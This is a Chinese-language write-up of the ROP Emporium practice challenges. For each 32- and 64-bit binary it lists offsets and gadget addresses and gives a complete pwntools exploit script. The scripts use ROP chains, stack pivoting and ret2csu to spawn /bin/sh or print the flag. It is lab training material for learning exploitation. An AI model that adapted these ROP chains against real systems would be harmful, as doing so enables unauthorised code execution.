跳转至

ROPEmporium

ROPEmporium

ret2win

实际上就是 ret2text

32位

分析

运行看看

1584018544742-7be979e7-811a-4385-b7f0-0e3e5a9713d3.png

计算一下栈的大小,得到 44

1584018607198-e8879365-7a9d-4d99-b9e8-a7a91868558e.png

在 ret2win 这个函数里面有个后门,输出了 flag.txt,地址是:0x8048659,只要把返回地址覆盖成这个就可以了

1584018683236-2cd4a51c-c11f-40ad-9036-339df6d87089.png

exp

from pwn import *
p=process('./ret2win32')
payload='a'*44+p32(0x8048659)
p.sendline(payload)
p.interactive()

1584018800816-8c189dc5-2cca-46fb-a294-57676fb6b6d3.png

64位

分析

GDB调试:得到偏移

1584019123927-87238470-cf90-4de2-85f7-c54c665825bf.png

IDA分析,依然是有个后门的,地址:0x400811

1584019268832-fe0cb6a2-c946-476b-9ce1-3eceaa09bd56.png

exp

from pwn import *
p=process('./ret2win')
pay='a'*40+p64(0x400811)
p.sendline(pay)
p.interactive()

它自己带的flag确实是写的32位

1584019452395-5a5965c7-8011-498f-b07b-d5f3fce7e960.png

split

32位

分析

计算偏移:44

1584019658858-2a863854-d5f5-4b76-9125-aa7df64db69d.png

IDA打开搜索字符串,发现 data段有cat flag

1584020021288-c43dac30-fb7e-4c54-969f-3413ef36ea32.png

同时有 system 的 plt 地址

exp

from pwn import *
sys_addr=0x8048430
p=process('./split32')
pay='a'*44+p32(sys_addr)+p32(0)+p32(0x804A030)
p.sendline(pay)
p.interactive()

1584020137992-d3d7d534-1d53-4f93-82ad-492ceb841ad1.png

64位

分析

gdb计算 偏移40

1584020288295-7875759b-3d2a-4fca-ae38-d8bc11845497.png

照样用

1584020386334-77e33378-be7c-43c6-9746-615791a65a7b.png

因为 64 位的传参要在寄存器里面,用ROPgadget,找一下pop rdi 的

1584020719945-8b667c2a-bd0d-41cd-a3f5-2b16991a559c.png

exp

from pwn import *
p=process('./split')
pay='a'*40+p64(0x400883)+p64(0x601060)+p64(0x4005E0)
p.sendline(pay)
p.interactive()

1584021107415-58d8b1d9-e9e6-4a05-96e6-983c5291bb73.png

callme

32位

题目说要按照 call callme_one(),callme_two(),callme_three() 的顺序调用执行

To dispose of the need for any RE we'll tell you the following:

You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag. The solution here is simple enough, use your knowledge about what resides in the PLT to call the callme_ functions in the above order and with the correct arguments. Don't get distracted by the incorrect calls to these functions made in the binary, they're there to ensure these functions get linked. You can also ignore the .dat files and the encrypted flag in this challenge, they're there to ensure the functions must be called in the correct order.

分析

计算偏移:44

1584023342799-93f5c73b-af1e-4073-b9f7-a48d87838146.png

然后想要按照要求去调用他给的三个 call,那三个 call 是在附带的 libc 里面的定义的

1584023620059-e37b85e0-4026-43ea-855f-d7fc234b150f.png

1584023645509-17297642-458c-4b69-9a31-6f18341693d7.png

1584023683522-b82c1594-a21b-4b06-924c-61077976645c.png

根据这三个函数的定义,call_one的三个参数应该是1、2、3

call_two的三个参数应该是:1、2、3

call_three的三个参数应该是:1、2、3

需要三个 pop 来把参数占用的给平衡掉,这样才能保证返回到下一个 call

1584024141352-c70ef8f7-5647-45ad-ab1b-f60b5733b8e9.png

exp

from pwn import *
p=process('./callme32')
call_one=0x080485C0
call_two=0x08048620
call_three=0x080485B0
pop_ret=0x080488a9
pay='a'*44+p32(call_one)+p32(pop_ret)+p32(1)+p32(2)+p32(3)
pay+=p32(call_two)+p32(pop_ret)+p32(1)+p32(2)+p32(3)
pay+=p32(call_three)+p32(pop_ret)+p32(1)+p32(2)+p32(3)
p.sendline(pay)
p.interactive()

1584024430376-31d47538-18df-4ebf-896f-22c7a95302f4.png

64位

分析

1584067329843-3fa2802c-9512-43da-9c67-b5f12660460d.png

x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中

用 ROPgadget --binary callme --only 'pop|ret'

完美!gadgets:0x401ab0

1584067467979-d8b51ef8-f672-4430-828c-27901fa69885.png

IDA看一下函数地址

1584067919650-a56fd673-0b47-44b9-a62b-7916f646c3c8.png

exp

from pwn import *
p=process('./callme')
pop_ret=0x401ab0
call_one=0x401850
call_two=0x401870
call_three=0x401810
pay='a'*40+p64(pop_ret)+p64(1)+p64(2)+p64(3)+p64(call_one)
pay+=p64(pop_ret)+p64(1)+p64(2)+p64(3)+p64(call_two)
pay+=p64(pop_ret)+p64(1)+p64(2)+p64(3)+p64(call_three)
p.sendline(pay)
p.interactive()

1584067889108-ed5fc547-b4cf-436f-a05d-9f803ae35b71.png

write4

32位

分析

偏移 44

1584068327491-a551c042-98bf-4b82-983f-4704f668b4a2.png

没有可以用的 /bin/sh 字符串,有 system,可以用 ret2libc,但这个题目目的不在这,尝试自己去写到内存里然后再调用

参考:https://www.jianshu.com/p/d385e23b2a94  tql!

通过 ROPgadget 找到了要用的两段 gadget

1584078559035-d1978d87-a5d0-4f3a-a5d1-7888f2dcd1cd.png

说一下思路:通过 pop edi 和 ebp,把 bss 段的地址和 '/bin' (因为只能放 4 字节),放到这俩寄存器里面

然后通过:mov [edi],ebp 把字符串放到 bss 段,这样放两次,就放完了 "/bin/sh" 了,就可以用 system 来拿到 shell 了

exp

from pwn import *
p = process('./write432')
bss_addr=0x0804A040 
system_plt=0x08048430
pop_edi_ebp=0x080486da
mov_edi_ebp=0x08048670
pay ='a'*44+p32(pop_edi_ebp)+p32(bss_addr)+"/bin"+p32(mov_edi_ebp)
pay+=p32(pop_edi_ebp)+p32(bss_addr+4)+"/sh\x00"+p32(mov_edi_ebp)
pay+=p32(system_plt)+p32(0)+p32(bss_addr)
p.sendline(pay)
p.interactive()

1584078402106-bd51358a-8c88-4247-a05a-d5bc158aa78e.png

64位

分析

偏移:40

1584079267050-e3ccfbed-387b-4b66-8c9b-f259a35595e5.png

然后用 ROPgadget 看一下 gadgets,这俩不错

1584079407764-9e9a6003-7dbb-43f3-a81a-929da91a7014.png

然后 IDA 看一下:

1584079497912-685fc795-f310-4a9e-aa86-567970dfe730.png

同时别忘了,对于 64 位的来说,还需要一个 pop rdi ret 这样的 gadgets

exp

from pwn import *
p=process('./write4')
bss_addr=0x601060
pop_r14_r15=0x400890
mov_r14_r15=0x400820
sys_addr=0x4005E0
pop_rdi=0x400893
pay='a'*40+p64(pop_r14_r15)+p64(bss_addr)+'/bin/sh\x00'+p64(mov_r14_r15)+p64(pop_rdi)+p64(bss_addr)+p64(sys_addr)
p.sendline(pay)
p.interactive()

1584079914771-33be0a6f-b1e5-4104-a130-1741c7ebd4c0.png

badchars

32位

分析

偏移大小为 44

1584080237313-08dda839-6dd8-47d3-b878-8001d9a37e9c.png

IDA 看到在 pwnme 函数里面调用了一个 badchars 的函数

1584082882089-bfc10d77-3516-4f66-b4c0-2cb78a5c446c.png

函数定义了上面说的那几个字符,如果遇到就换成 -21

1584083155608-24856b52-2a37-48a3-9d1c-ae6d7405ad1c.png

这就会影响我们写入 /bin/sh,大佬的解决方案是异或!然后再找 gadget 去异或回来!

https://www.jianshu.com/p/5b9abeca9308

1584083961842-d397bf46-3dde-453c-9290-5beae2be48c7.png

然后,通过这个脚本,来找一下,看一下哪一些可以用来异或

binsh = "/bin/sh\x00"
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
# for i in badchar:
#   print chr(i)
xornum = 1
while 1:
    for x in binsh:
        tem = ord(x) ^ xornum
        if tem in badchar:
            xornum += 1
            break
        if x == "\x00":
            print xornum
            xornum += 1
    if xornum == 10:
        break

1584084356859-7848803a-c2d9-49dd-bff9-f2ae6332a6dd.png

也就是可以通过 2 或 3 或 5 或 9

exp

from pwn import *
p=process('./badchars32')
sys_addr=0x080484E0
binsh="/bin/sh\x00"
xorbinsh=""
for i in binsh:
    xorbinsh += chr(ord(i) ^ 2)
xor_ebx_cl=0x8048890
bss_addr=0x804A044
mov_edi_esi=0x8048893
pop_esi_edi=0x8048899
pop_ebx_ecx=0x8048896
pay='a'*44+p32(pop_esi_edi)+xorbinsh[0:4]+p32(bss_addr)+p32(mov_edi_esi)
pay+=p32(pop_esi_edi)+xorbinsh[4:8]+p32(bss_addr+4)+p32(mov_edi_esi)
for i in range(0,len(xorbinsh)):
    pay+=p32(pop_ebx_ecx)
    pay+=p32(bss_addr+i)+p32(2)
    pay+=p32(xor_ebx_cl)
pay+=p32(sys_addr)+p32(0)+p32(bss_addr)
p.sendline(pay)
p.interactive()

解释一下:首先,跟 write4 的一样,先把想要写到的地址和内容,都 pop 到寄存器,然后,mov 到指定的地址,这样就实现了往 bss 段写/bin/sh的操作了,由于写入的是异或的,在下面挨个取出来,再异或一下还原回来

1584086944290-8ade5c43-6a83-4fac-af58-b33bc10cc744.png

64位

分析

偏移:40

1584087360099-53327ca3-dbc3-4dfc-a2b8-85972e35ff16.png

找一下 gadgets

1584087661736-19c61293-44a3-48ac-8fa6-6907ba52f288.png

然后 IDA 看一下:sys_addr=0x4006f0

1584087692868-83424852-56c1-43be-8c4a-9f606e43038c.png

exp

from pwn import *
p=process('./badchars')
binsh='/bin/sh\x00'
xorbinsh=""
for i in binsh:
    xorbinsh+=chr(ord(i)^2)
pop_r12_r13=0x400b3b
mov_r13_r12=0x400b34
xor_r15_r14=0x400b30
pop_r14_r15=0x400b40
pop_rdi=0x400b39
bss_addr=0x601080
sys_addr=0x4006f0
pay='a'*40+p64(pop_r12_r13)+xorbinsh+p64(bss_addr)+p64(mov_r13_r12)
for x in range(0,len(xorbinsh)):
    pay+=p64(pop_r14_r15)+p64(2)+p64(bss_addr+x)+p64(xor_r15_r14)
pay+=p64(pop_rdi)+p64(bss_addr)+p64(sys_addr)
p.sendline(pay)
p.interactive()

1584088487434-bd89521c-28a7-415f-ac36-b45dd447d002.png

fluff

32位

分析


1584089751643-ed2eee22-a836-4dfa-90a7-1faa2a4f54a0.png

找一下 gadget,这次没了之前那种 mov 到地址的操作,但是可以使用 xor 先对一个进行归零,然后再用它来把别的给写入,加上--depth 20 搜的更能全面,最高级就是 20 了

1584094380619-25a087e1-cd58-4e0c-b8da-dd19d819e101.png

sys_addr=0x8048430

1584090145951-ede6af2e-d712-42e6-9a97-6f8c777f112f.png

exp

from pwn import *
p = process('./fluff32')
sys_addr = 0x08048430
bss_addr = 0x804A040
#mov_ecx_edx;pop_ebp;pop_ebx;xor_ecx_bl;ret
gadgets1 = 0x08048693
#xor_edx_edx;pop_esi;mov_ebp_0xcafebabe;ret
gadgets2 = 0x08048671
#xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
gadgets3 = 0x0804867b
pop_ebx = 0x080483e1
#xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
gadgets4 = 0x08048689

pay='a'*44+p32(gadgets2)+p32(0)#edx=0
pay+=p32(pop_ebx)+p32(bss_addr)+p32(gadgets3)#edx=ebx=bss_addr
pay+=p32(0)+p32(gadgets4)+p32(0)#ecx=bss_addr
pay+=p32(pop_ebx)+"/bin"#ebx='/bin'
pay+=p32(gadgets2)+p32(0)#edx=0
pay+=p32(gadgets3)+p32(0)#edx='/bin'
pay+=p32(gadgets1)+p32(0)+p32(0)#edx -> ecx

pay+=p32(pop_ebx) + p32(bss_addr + 4)#ebx=bss_addr+4
pay+=p32(gadgets2) + p32(0)#edx=0
pay+=p32(gadgets3) + p32(0)#edx=ebx=bss_addr+4
pay+=p32(gadgets4) + p32(0)#ecx=bss_addr+4

pay+=p32(pop_ebx)+"/sh\x00"#ebx='/sh\x00'
pay+=p32(gadgets2)+p32(0)#edx=0
pay+=p32(gadgets3)+p32(0)#edx='/sh\x00'
pay+=p32(gadgets1)+p32(0)+p32(0)#edx -> ecx

pay+=p32(sys_addr)+p32(0)+p32(bss_addr)
p.sendline(pay)
p.interactive()

解释一下:首先用gadgets2把edx置为0,然后把bss_addr给pop到ebx,用xor edx,ebx 来把bss_addr传给edx

再用 gadgets4 把edx的内容给 ecx,再用pop把字符串 pop到ebx,先xor edx,edx 为0,再与ebx异或,使得edx为ebx的内容,在用gadgets1 把edx写到ecx也就是bss_addr

另外说一下:那个gadgets4,我找到的是0x08048686,可能是因为机器码的偏移导致0x08048689成了xchg

补:可以用ROPgadget搜到(这是另一个的截图)

1584106011796-95f8550b-b8f6-484e-9451-f17fa6fb6be3.png

太妙了,太强了!!!Orz...

1584093810580-e0e25afa-edce-4b50-9a18-998a3f20d7b2.png

64位

分析

屏幕都放不过来了

1584094508732-8cb5fe58-b8b9-4c20-9ff7-f19877aff36b.png

1584094602814-b3fd13fb-5fad-441b-b3d4-32ee98c39525.png

然后除了需要多用一个 pop_rdi没区别了

exp

from pwn import *
p = process('./fluff')
binsh = "/bin/sh\x00"
sys_addr = 0x4005E0
bss_addr = 0x601060

pop_rdi = 0x00000000004008c3
#mov r10, r11 ; pop r13 ; pop r12 ; xor r10, r12 ; ret
gadget1 = 0x000000000040084e
#pop r15 ; mov r10, r11 ; pop r13 ; pop r12 ; xor r10, r12 ; ret
gadget2 = 0x000000000040084c
#xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
gadget3 = 0x0000000000400822
#xor r11, r12 ; pop r12 ; mov r13, 0x604060 ; ret
gadget4 = 0x000000000040082f
#xchg r11, r10 ; pop r15 ; mov r11, 0x602050 ; ret
gadget5 = 0x0000000000400840
#pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
gadget6 = 0x00000000004008bc

pay='a'*40+p64(gadget6)+p64(bss_addr)+p64(0)+p64(0)+p64(0)#bss_addr->r12
pay+=p64(gadget3)+p64(0)+p64(gadget4)+p64(0)#bss_addr->r11
pay+=p64(gadget5)+p64(0)#bss_addr->r10
pay+=p64(gadget6)+binsh+p64(0)+p64(0)+p64(0)#binsh->r12
pay+=p64(gadget3)+p64(0)+p64(gadget4)+p64(0)#binsh->r11
pay+=p64(gadget1)+p64(0)+p64(0)
pay+=p64(pop_rdi)+p64(bss_addr)+p64(sys_addr)
p.sendline(pay)
p.interactive()

思路:首先通过gadget6把bss段的地址给放到r12,然后通过gadget3把r11置为0,再用gadget4异或一下,把bss段的地址给放到r11,然后通过gadget5把bss段的地址放到r10,到这里就让它在r10就好了

然后在通过上述步骤,只是把/bin/sh这串字符串放在r11就可以,最后通过gadget1把r11的字符串放到r10的bss段去

然后在通过pop_rdi把参数放在 rdi,给system使用

1584098641927-338dbdf9-a7ed-4a11-beea-d83077fabc83.png

pivot

32位

给的那个 libc 里面有个 ret2win,如果可以调用他的话就能打印出flag,而libc 里面的ret2win和foothold_function之间的偏移是不变的,知道了foothold_function就能找到 ret2win的地址

在程序里面有两次输入,第一次会把 al 的地址给打印出来,意思是让你把栈迁移到这个地方:

1584103188628-4fff3b10-ac56-4636-867f-44f996cfc955.png

leave_ret,用来进行栈迁移

1584104852792-53fe58c6-2fe7-4cf4-b507-72817ee65cc9.png

分别放offset和foothold_function的got表项

1584104833836-4a5ec8b1-abc6-4306-8442-112cb3c8018c.png

通过它把foothold_function的got表项中存的foothold_function的实际的地址放到eax

1584104882117-81c631c1-d839-46bc-9020-4de05ba75f0e.png

eax 是 foothold_function 的实际地址,ebx 是 ret2win 相对于 foothold_function 的 offset,相加得到 ret2win 的实际地址

1584105199226-60b304e0-88f0-42f3-86a6-1ce031087086.png

用来调用ret2win

1584105011046-c04ca4d0-2906-4e82-9ae6-3bc91d25f254.png

exp

from pwn import *
p=process("./pivot32")
elf=ELF('./pivot32')
lib_elf=ELF('./libpivot32.so')
leave_ret=0x80486a8
pop_eax=0x080488c0
pop_ebx=0x08048571
add_eax_ebx=0x080488c7
mov_eax_addr=0x080488c4
call_eax=0x080486a3
func_plt=elf.plt['foothold_function']
func_got=elf.got['foothold_function']
foothold_index=lib_elf.symbols['foothold_function']
ret2win_index=lib_elf.symbols['ret2win']
offset=int(ret2win_index-foothold_index)

p.recvuntil("place to pivot: ")
fake_ebp=int(p.recv(10),16)
payload1=p32(func_plt)
payload1+=p32(pop_eax)
payload1+=p32(func_got)
payload1+=p32(mov_eax_addr)
payload1+=p32(pop_ebx)
payload1+=p32(offset)
payload1+=p32(add_eax_ebx)
payload1+=p32(call_eax)

p.recvuntil('> ')
p.sendline(payload1)
payload2='a'*40+p32(fake_ebp-4)+p32(leave_ret)
p.recvuntil('> ')
p.sendline(payload2)
p.interactive()

1584104797169-b06558af-3a2b-4919-944d-c72b1885633f.png

64位

xchg 专门有这个指令搜索的嗷,可以通过它把rsp的值改成 rax的,这样可以代替 leave_ret

1584105955231-69cefe90-dcf1-46ad-b8a4-957a080d8d65.png

from pwn import *

p=process("./pivot")
elf=ELF('./pivot')
lib_elf=ELF('./libpivot.so')
func_plt=elf.plt['foothold_function']
func_got_plt=elf.got['foothold_function']
foothold_sym=lib_elf.symbols['foothold_function']
ret2win_sym=lib_elf.symbols['ret2win']
offset=int(ret2win_sym-foothold_sym)

leave_ret=0x0400a39
mov_rax_rax=0x0400b05
pop_rax=0x0400b00
pop_rbp=0x0400900
add_rax_rbp=0x0400b09
xchg_rax_rsp = 0x0400b02
call_rax=0x040098e

leakaddr  = int(p.recv().split()[20], 16)
payload1=p64(func_plt)
payload1+=p64(pop_rax)
payload1+=p64(func_got_plt)
payload1+=p64(mov_rax_rax)
payload1+=p64(pop_rbp)
payload1+=p64(offset)
payload1+=p64(add_rax_rbp)
payload1+=p64(call_rax)

p.sendline(payload1)

payload2='A'*40
payload2 += p64(pop_rax)
payload2 += p64(leakaddr)
payload2 += p64(xchg_rax_rsp)

p.sendline(payload2)
p.interactive()

1584107655214-963ee9ab-6665-4db0-bbee-0171056ebe59.png

ret2csu

计算偏移:40

1584107998508-acd9d761-4ea4-4335-8011-cee6b2d57a57.png

关于ret2csu 原理可以看:知识库里的

根据题目的要求,,去call ret2win 同时,rdx必须是0xdeadcafebabebeef

1584108364604-2a7afdb5-0ae7-461a-86a2-089c41f69da9.png

exp

from pwn import *
p=process('ret2csu')
elf=ELF('ret2csu')
csu_front_addr=0x400880
csu_end_addr=0x40089a
ret2win = 0x4007b1
init_pointer= 0x0600E10
puts_got = elf.got['puts']
def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = 'a'*40
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    p.sendline(payload)
    p.interactive()
csu(0,1,init_pointer,0,0,0xdeadcafebabebeef,ret2win)

1584109800300-449e136a-6876-4431-9a69-3be6cc050903.png

原文: https://www.yuque.com/hxfqg9/bin/gsl2vv